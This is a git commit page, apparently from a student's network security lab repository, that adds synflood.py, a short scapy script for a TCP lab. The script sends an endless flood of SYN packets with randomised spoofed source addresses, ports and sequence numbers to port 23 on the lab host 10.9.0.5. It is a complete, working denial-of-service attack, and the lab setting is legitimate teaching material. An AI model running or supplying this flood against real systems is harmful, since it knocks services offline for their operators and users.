tcp lab almost finished and mitnick lab initialized
This commit is contained in:
14
Tcp/Labsetup/volumes/synflood.py
Normal file
14
Tcp/Labsetup/volumes/synflood.py
Normal file
@@ -0,0 +1,14 @@
|
||||
#!/bin/env python3
|
||||
from scapy.all import IP, TCP, send
|
||||
from ipaddress import IPv4Address
|
||||
from random import getrandbits
|
||||
|
||||
ip = IP(dst="10.9.0.5")
|
||||
tcp = TCP(dport=23, flags='S')
|
||||
pkt = ip/tcp
|
||||
|
||||
while True:
|
||||
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 源 IP
|
||||
pkt[TCP].sport = getrandbits(16) # 源端口号
|
||||
pkt[TCP].seq = getrandbits(32) # 序列号
|
||||
send(pkt, verbose = 0)
|
||||
Reference in New Issue
Block a user